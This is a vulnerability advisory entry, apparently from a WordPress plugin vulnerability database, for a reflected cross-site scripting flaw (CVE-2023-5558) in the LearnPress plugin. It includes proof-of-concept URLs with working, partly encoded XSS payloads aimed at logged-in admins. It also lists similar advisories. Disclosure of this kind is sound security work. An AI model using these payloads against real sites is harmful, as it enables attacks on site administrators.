LearnPress < 4.2.5.5 – Reflected Cross-Site Scripting | CVE 2023-5558 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape user input before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Proof of Concept

Make a logged in admin open

v < 4.2.5.2 - https://example.com/?param=value"}';alert(document.domain)<!--

v < 4.2.5.3 - https://example.com/?param=value"}';alert(document.domain);b='

v < 4.2.5.4 - https://example.com/?'-alert(`XSS`)-'=a

v < 4.2.5.5 - https://example.com/instructors/?param=value%26%23x3C%3B%2Fscript%26%23x3E%3B%26%23x3C%3Bscript%26%23x3E%3Balert%26%23x60%3BXSS%26%23x60%3B%26%23x3C%3B%2Fscript%26%23x3E%3B

Affects Plugins

Fixed in 4.2.5.5

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Vitor Pacheco

Submitter

Vitor Pacheco

Submitter twitter

Verified

Yes

WPVDB ID

4efd2a4d-89bd-472f-ba5a-f9944fd4dd16

Timeline

Publicly Published

2023-11-17 (about 2 years ago)

Added

2023-11-17 (about 2 years ago)

Last Updated

2024-01-08 (about 1 year ago)

Other

Published

Title

Published

2024-11-22

Title

Custom CSS, JS & PHP < 2.4.0 - Reflected Cross-Site Scripting

Published

2025-11-14

Title

Stylish Cost Calculator < 8.1.6 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-10-11

Title

Category Icon < 1.0.1 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File Upload

Published

2024-07-30

Title

Formidable Forms < 6.11.2 - Authenticated (Subscriber+) Stored Cross-Site Scripting

Published

2024-09-25

Title

GF Custom Style <= 2.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File Upload